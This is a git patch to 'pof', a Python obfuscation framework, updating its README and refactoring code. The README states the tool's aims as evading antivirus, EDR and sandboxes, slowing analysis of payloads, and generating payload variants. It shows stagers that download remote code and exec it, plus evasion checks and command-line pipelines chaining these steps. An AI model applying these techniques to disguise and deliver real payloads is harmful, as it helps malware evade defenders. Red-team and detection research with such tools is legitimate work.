From 29a0b9d2f9cc0857517bfa799dc309567f472822 Mon Sep 17 00:00:00 2001 From: deoktr <35725720+deoktr@users.noreply.github.com> Date: Mon, 9 Dec 2024 18:21:23 +0100 Subject: [PATCH] update: readme and refactor code --- Makefile | 5 +- README.md | 157 ++++++++++++++++++----------------- examples/gen.py | 11 ++- pof/cli.py | 18 ++-- pof/evasion/argv.py | 2 +- pof/evasion/time/expire.py | 4 +- pof/main.py | 6 +- pof/obfuscator/names_rope.py | 4 +- pof/obfuscator/numbers.py | 4 +- pof/stager/image.py | 13 ++- scripts/entropy.py | 13 +-- scripts/extract_names.py | 2 +- scripts/tokens_generator.py | 2 +- 13 files changed, 125 insertions(+), 116 deletions(-) diff --git a/Makefile b/Makefile index 21bd24c..f52410b 100644 --- a/Makefile +++ b/Makefile @@ -1,4 +1,4 @@ -.PHONY: test coverage format build_docker +.PHONY: test coverage format lint build_docker test: @@ -9,6 +9,9 @@ coverage: test format: python3 -m black . + python3 -m ruff format . + +lint: python3 -m ruff check . build_docker: diff --git a/README.md b/README.md index 6139a60..60e9a24 100644 --- a/README.md +++ b/README.md @@ -45,6 +45,7 @@ pof will allow you to: - do **evasion**: AV, EDR, DPI, sandbox and other analysis techniques - slow **analysis**: slow down human analysis of the payload - enable **automation**: automate the whole process, to produce numerous variant of the payload +- be **cross-platform**: works on Linux, Windows, and macOS - have **fun**: because it's always fun to see what's possible to do with Python This project also tries to combine all other Python obfuscation tools available, because most of them only provide a single method, and it's pretty basic. So you should be able to do everything that those other tools do, but without having to use multiple. @@ -55,19 +56,9 @@ This project could also give you ideas to implement in other languages, such as You could also use most of the stagers to stage payload that are not built in Python. -## Shortcomings - -Any obfuscation techniques that add code complexity will make the code run slower. For most usage this won't have an impact, and no one is using Python for speed anyway (at least I hope). - -Encoding, compression, encryption will slow the start of the programs, because it will first have to decode, de-compress, or decrypt it. - -Strings, numbers, builtin, obfuscators will make the code run slower, because they will add complexity to many parts of it. - -And finally the 'classical' techniques, names, definitions won't have an impact on the speed of the code, because they'll simply rename elements of the code. - ## Install -There are 3 installation options, with PIP, a virtualenv, or a Docker container. +There are 4 installation options, with PIP, a virtualenv, a Docker container, or with Nix. ### 1. PIP @@ -104,37 +95,49 @@ Run inside Docker from a file. docker run --rm -v $(pwd):/tmp -it pof -o /tmp/output.py /tmp/input.py ``` -## Usage +### 4. Nix -You can either pipe or give a file for input, same for output. +From [github.com/onix-sec/nixsecpkgs](https://github.com/onix-sec/nixsecpkgs): ```bash -echo "print('Hello, world')" | pof +nix shell github:onix-sec/nixsecpkgs#pof ``` -Output: +## Usage -```python -from base64 import b64decode as CRT_ASSERT -from base64 import b85decode as _45802 -UserClassSlots=__builtins__.__dict__.__getitem__(_45802(''[::-1]).decode().join([__builtins__.__getattribute__("".join([chr(ord(i)-3)for i in'ukf'[::-1]]))(__builtins__.__getattribute__('\u006f\u0072\u0064')(i)-(__name__.__eq__.__call__(__name__)+__name__.__eq__.__call__(__name__)+__name__.__eq__(__name__)))for i in CRT_ASSERT('c3VscXc=').decode()])) -UserClassSlots(CRT_ASSERT('').decode().join([__builtins__.__getattribute__("".join([chr(ord(i)-3)for i in'']).join([chr(ord(i)-3)for i in'parse_intermixed_argsu'.replace('parse_intermixed_args','fk')]))(__builtins__.__dict__.__getitem__(_45802('L}g}jVP{fhb9HQVa%2').decode().replace("".join([chr(ord(i)-3)for i in'GhiudjUhvxow']),'o'[::-1]))(i)-(__name__.__eq__.__call__(__name__)+globals()["".join([chr(ord(i)-3)for i in'bbvqlwolxebb'])[::-1]].__dict__["".join([chr(ord(i)-3)for i in'']).join([chr(ord(i)-3)for i in'Wuxsimple_stmt'.replace('simple_stmt','h')])]+(type(1)==type(1))))for i in'gourz#/r_pfK'[::-1].replace(_45802('W^i9}').decode(),CRT_ASSERT('aG9vcg==').decode())])) -``` +```bash +# pipe input and output to stdout +echo "print('Hello, world')" | pof -And yes, this is a valid Python script, that actually runs and only output `Hello world` ! And you'll get a different output each time. +# output to file +pof in.py -o out.py -Using a specific obfuscator: +# redirect to file +pof in.py > out.py -```bash +# pipe to python to run it +pof in.py | python + +# obfuscator pof in.py -o out.py -f obfuscator -k BuiltinsObfuscator -``` -Using a specific payload: +# stager +pof in.py -o out.py -f stager -k PasteRsStager -```bash -pof inf.py -o out.py -f payload -k GzipPayload +# evasion +pof in.py -o out.py -f evasion -k CPUCountEvasion + +# evasion with custom params +pof in.py -o out.py -f evasion -k CPUCountEvasion min_cpu_count=4 + +# combine everything from the CLI +pof in.py -f obfuscator -k BuiltinsObfuscator |\ + pof -f evasion -k CPUCountEvasion min_cpu_count=4 |\ + pof -f stager -k PasteRsStager > out.py ``` +You can also use the Python API directly, you can find examples in the corresponding directory or bellow. + ## Examples These are examples of obfuscators of the script `print('Hello, world')`. @@ -157,40 +160,24 @@ echo "print('Hello, world')" | pof -f obfuscator -k UUIDObfuscator | python #### StringsObfuscator -Reverse. - ```python +# Reverse print('dlrow ,olleH'[::-1]) -``` - -Replace. -```python +# Replace rint('Helnelemd'.replace('nelem','lo, worl')) -``` -Unicode. - -```python +# Unicode print('\u0048\u0065\u006c\u006c\u006f\u002c\u0020\u0077\u006f\u0072\u006c\u0064') -``` - -Shift cipher. -```python +# Shift cipher print("".join([chr(ord(i)-3)for i in'Khoor/#zruog'])) -``` -Base 64 encoding. - -```python +# Base 64 encoding from base64 import b64decode print(b64decode( b'SGVsbG8sIHdvcmxk').decode()) -``` - -Base 85. -```python +# Base 85 from base64 import b85decode print(b85decode( b'NM&qnZ!92pZ*pv8').decode()) ``` @@ -199,33 +186,20 @@ print(b85decode( b'NM&qnZ!92pZ*pv8').decode()) Source: `print(42)` -String. - ```python +# String print(int('42')) -``` -Addition. - -```python +# Addition print((int(35+7))) -``` - -Hex. -```python +# Hex print(int('0x2a',0)) -``` -Len. - -```python +# Len print(len('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb')) -``` -Boolean. - -```python +# Boolean print((True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True)) ``` @@ -253,17 +227,11 @@ Obfuscate builtins functions using one of the following methods. ```python __builtins__.__getattribute__('print')('Hello, world') -``` -```python __builtins__.__dict__['print']('Hello, world') -``` -```python globals()['__builtins__'].__dict__['print']('Hello, world') -``` -```python __builtins__.__dict__.__getitem__('print')('Hello, world') ``` @@ -511,7 +479,7 @@ print(oct.__doc__[8]) ```python from urllib import request -exec(request.urlopen("http://link...").read()) +exec(request.urlopen("https://example.com/payload.py").read()) ``` #### ImageStager @@ -547,7 +515,14 @@ from urllib import request exec(request.urlopen("https://pastebin.com/raw/...").read()) ``` -The `PasteRsStager` and `Cl1pNetStager` are exactly the same, but the code is not uploaded to the same site. +> [!NOTE] +> You'll need to add a pastebin API key: +> +> ```bash +> echo "print('Hello, world')" | pof -f stager -k PastebinStager api_dev_key=foo +> ``` + +The `PasteRsStager` and `Cl1pNetStager` are exactly the same, but the code is not uploaded to the same site. But `PasteRsStager` doesn't require an API key. #### RC4Stager @@ -598,6 +573,12 @@ For this example, the randomly generated key is: TzyaoOa2e4wimAo1AGgeWO5ztZtLzqWo5Wl9OXLWP0r5QmjFO8VvIao6NfqHxMBZCXekiqGDcmFugz10F2wS8UlOtUJB2muLsSxVWoJhq1fKWaZHbiYPd7SSdPhqHMRV1fQkJax5sLssaB43AlHFrx4rJYMvkCjPebHUdjW2l0c8af5cNs60v4dRE3zw2myNZTcrbsbpvogSGYOz21rAXlEZn2y0lbDIpWwI1ZHf8i5vAGxnPPPH9i7OQIMZEunerDbY7cyzHRcZGU1nsVyEmlILGf37NYTxLagRkC6GJP5NCmqboyP5It6bF6AuihUkjLTXTMvrgxfNlMs4g3BkHqZIGjNxFHj6zSB3jhOtOQ9l3zOG36dsMKSye78Xxmn7JjoW5nH76E05QJMBALapu0LaVppSSpSUrpYR2bmwGdbuJNZd7qLL6Yy6vNptSIKcG6Vi6DiFLk7afCw9h9fLdyUC1Ng1sGwt0Jhdf0XnuBedFx6diWYzCrYgWZeM1VnC ``` +So we could call it like this: + +```bash +python3 out.py TzyaoO... +``` + #### QuineStager ```python @@ -610,6 +591,24 @@ def quine(): exec(b64decode(esource)) ``` +This is most likely useless, a quine is a program that output its source code, and you can generate a quine from your source code with this. + +Your script will still execute but a new function `quine` will be available, if you call it you'll have access to the source. + +Example usage: + +```bash +echo "print(quine())" | pof -f stager -k QuineStager > out.py +python3 out.py > out2.py +python3 out2.py > out3.py +diff out2.py out3.py +``` + +The `out2.py` and `out3.py` files are identical, they both contain the source code, and the script `print(quine())`. + +> [!NOTE] +> By default pof uses a custom `Untokenizer` that removes useless spaces (`NoSpaceUntokenizer` defined in `./pof/utils/tokens.py`), so first generation (in the example `out.py`) will not have spaces present in the subsquent outputs. + ### Generators Generators are used to generate new names, they can be used to classes, variables, functions, constants or any other. @@ -835,9 +834,13 @@ black . ruff . ``` +## Python 2 + +No effort is made to support Python 2, most obfuscator, stagers, and evasion should work out of the box, but they are not tested. + ## TODO -- Get the version (in setup.py) from `__init__.py` +- Add option to prepend a shebang, and add ability to customize it ## License diff --git a/examples/gen.py b/examples/gen.py index 3ad7707..493aab0 100644 --- a/examples/gen.py +++ b/examples/gen.py @@ -19,19 +19,18 @@ def obfuscate_to_file(obf_class, func_name, source): def run_all(): - obf = ExampleObfuscator() - pof_obf = pof.Obfuscator() - file = pathlib.Path(__file__).parent / "source.py" with file.open() as f: source = f.read() - # example - obfuscate_to_file(obf, "constant_obf", source) - # defaults from pof + pof_obf = pof.Obfuscator() obfuscate_to_file(pof_obf, "obfuscate", source) + # custom example + obf = ExampleObfuscator() + obfuscate_to_file(obf, "constant_obf", source) + if __name__ == "__main__": run_all() diff --git a/pof/cli.py b/pof/cli.py index 7f65e2e..c68fc29 100644 --- a/pof/cli.py +++ b/pof/cli.py @@ -18,7 +18,7 @@ class PofCliError(PofError): class CLIObfuscator(Obfuscator): - def obfuscator(self, source, obfuscator, *args, **kwargs): + def obfuscator(self, source, obfuscator, *args, **kwargs) -> str: """Execute a single obfuscator.""" tokens = self._get_tokens(source) @@ -38,7 +38,7 @@ def obfuscator(self, source, obfuscator, *args, **kwargs): tokens = globals()[obfuscator](*args, **kwargs).obfuscate_tokens(tokens) return self._untokenize(tokens) - def stager(self, source, stager, *args, **kwargs): + def stager(self, source, stager, *args, **kwargs) -> str: """Execute a single stager.""" tokens = self._get_tokens(source) @@ -58,7 +58,7 @@ def stager(self, source, stager, *args, **kwargs): tokens = globals()[stager](*args, **kwargs).generate_stager(tokens) return self._untokenize(tokens) - def evasion(self, source, evasion, *args, **kwargs): + def evasion(self, source, evasion, *args, **kwargs) -> str: """Execute a single evasion method.""" tokens = self._get_tokens(source) @@ -94,7 +94,7 @@ def evasion(self, source, evasion, *args, **kwargs): logging.basicConfig(level=logging.INFO, handlers=[handler]) -def _handle(args): +def _handle(args) -> int: if args.version: print(__version__) # noqa: T201 return 0 @@ -115,11 +115,13 @@ def _handle(args): logging.info(f"starting obfuscation of {args.input.name}") source = args.input.read() + start = time.time() out = CLIObfuscator().__getattribute__(args.function)(source, *a, **k) end = time.time() + time_diff = round(end - start, 4) logging.info(f"took: {time_diff}s") args.output.write(out) @@ -128,7 +130,7 @@ def _handle(args): return 0 -def _cli(): +def _cli() -> int: parser = argparse.ArgumentParser( prog="obfuscate", description="%(prog)s CLI tool to obfuscate Python source code.", @@ -137,7 +139,7 @@ def _cli(): parser.add_argument( "--raise-exceptions", action="store_true", - help="Raise exceptions instead of just printing them.", + help="raise exceptions instead of just printing them", ) parser.add_argument( "input", @@ -161,7 +163,7 @@ def _cli(): ) parser.add_argument( "--logging", - help="logging level, INFO, DEBUG, ERROR, CRITICAL", + help="logging level, DEBUG, INFO, ERROR, CRITICAL", default="INFO", ) parser.add_argument( @@ -179,7 +181,7 @@ def _cli(): logging.error(str(e)) # noqa: TRY400 if args.raise_exceptions: raise - logging.debug("use `--raise-exceptions` to see full trace back.") + logging.debug("use `--raise-exceptions` to see full trace back") return 1 diff --git a/pof/evasion/argv.py b/pof/evasion/argv.py index ce2a842..a9a7222 100644 --- a/pof/evasion/argv.py +++ b/pof/evasion/argv.py @@ -19,7 +19,7 @@ def import_tokens(): ] def check_tokens(self): - """Validates system does not use UTC timezone. + """Argument check tokens. `len(sys.argv)==1 or sys.argv[1]!="123"` """ diff --git a/pof/evasion/time/expire.py b/pof/evasion/time/expire.py index a37d634..6da380e 100644 --- a/pof/evasion/time/expire.py +++ b/pof/evasion/time/expire.py @@ -6,9 +6,9 @@ class ExpireEvasion(BaseEvasion): def __init__(self, under_datetime=None, over_datetime=None) -> None: - """Expire after a certain time (default 15 minutes).""" + """Expire after a certain time (default 2 hours).""" if under_datetime is None: - under_datetime = datetime.now(tz=UTC) + timedelta(minutes=15) + under_datetime = datetime.now(tz=UTC) + timedelta(hours=2) self.under_datetime = under_datetime # TODO (deoktr): remove random timedelta to now, as to not give the date/time of diff --git a/pof/main.py b/pof/main.py index 6ebdf41..04f2b03 100644 --- a/pof/main.py +++ b/pof/main.py @@ -66,9 +66,9 @@ def obfuscate( self, source, *, - remove_logs=False, - remove_prints=False, - remove_exceptions=False, + remove_logs: bool = False, + remove_prints: bool = False, + remove_exceptions: bool = False, ): """Complete chained obfuscation.""" tokens = self._get_tokens(source) diff --git a/pof/obfuscator/names_rope.py b/pof/obfuscator/names_rope.py index a1aa967..e140d0c 100644 --- a/pof/obfuscator/names_rope.py +++ b/pof/obfuscator/names_rope.py @@ -255,9 +255,7 @@ def get_local(cls, tokens, imports): # self.foo # add 'foo' if ( - next_toknum == NAME - and tokval == "." - and prev_tokval in declared + next_toknum == NAME and tokval == "." and prev_tokval in declared # and prev_tokval == "self" ): declared.append(next_tokval) diff --git a/pof/obfuscator/numbers.py b/pof/obfuscator/numbers.py index be6f847..2aacfcd 100644 --- a/pof/obfuscator/numbers.py +++ b/pof/obfuscator/numbers.py @@ -222,9 +222,7 @@ def obfuscate_number(self, toknum, tokval): # noqa: C901 PLR0912 strategies = self.NEG_FLOAT_STRATS if ( - token_type is int - and tok_positiv - and 2 < tok_actual_val < 100 # noqa: PLR2004 + token_type is int and tok_positiv and 2 < tok_actual_val < 100 # noqa: PLR2004 ): strategies = list(strategies) strategies.append(self.NStrats.BOOLEAN) diff --git a/pof/stager/image.py b/pof/stager/image.py index 2f5c1bd..6912214 100644 --- a/pof/stager/image.py +++ b/pof/stager/image.py @@ -22,7 +22,12 @@ import logging from tokenize import DEDENT, INDENT, NAME, NEWLINE, NUMBER, OP, STRING -from PIL import Image +try: + from PIL import Image + + PIL_INSTALLED = True +except ModuleNotFoundError: + PIL_INSTALLED = False from pof.errors import PofError from pof.utils.tokens import untokenize @@ -142,6 +147,12 @@ def decode(im_in): exec(decode(sys.argv[1])) ``` """ + if not PIL_INSTALLED: + logging.error( + "'pillow' is not installed, cannot user stager ImageStager", + ) + return tokens + code = untokenize(tokens) if image_input is None: diff --git a/scripts/entropy.py b/scripts/entropy.py index 4595920..a55deb3 100755 --- a/scripts/entropy.py +++ b/scripts/entropy.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/bin/env python3 # POF, a free and open source Python obfuscation framework. # Copyright (C) 2022-2024 POF Team # @@ -32,15 +32,10 @@ from pathlib import Path -def entropy(data: str) -> float: +def shanon_entropy(data: str) -> float: count = collections.Counter(map(ord, data)) - pk = [x / sum(count.values()) for x in count.values()] - - base = 2 - - # Shannon entropy - return -sum([p * math.log(p) / math.log(base) for p in pk]) + return -sum([p * math.log(p) / math.log(2) for p in pk]) if __name__ == "__main__": @@ -51,6 +46,6 @@ def entropy(data: str) -> float: with file.open() as f: content = f.read() - e = entropy(content) + e = shanon_entropy(content) sys.stdout.write(f"{file} entropy: {e}\n") diff --git a/scripts/extract_names.py b/scripts/extract_names.py index 5d6b0b3..67c523a 100755 --- a/scripts/extract_names.py +++ b/scripts/extract_names.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python3 +#!/bin/env python3 # POF, a free and open source Python obfuscation framework. # Copyright (C) 2022-2024 POF Team # diff --git a/scripts/tokens_generator.py b/scripts/tokens_generator.py index 613b6be..9150fa7 100755 --- a/scripts/tokens_generator.py +++ b/scripts/tokens_generator.py @@ -1,4 +1,4 @@ -#!/usr/bin/python3 +#!/bin/env python3 # POF, a free and open source Python obfuscation framework. # Copyright (C) 2022-2024 POF Team #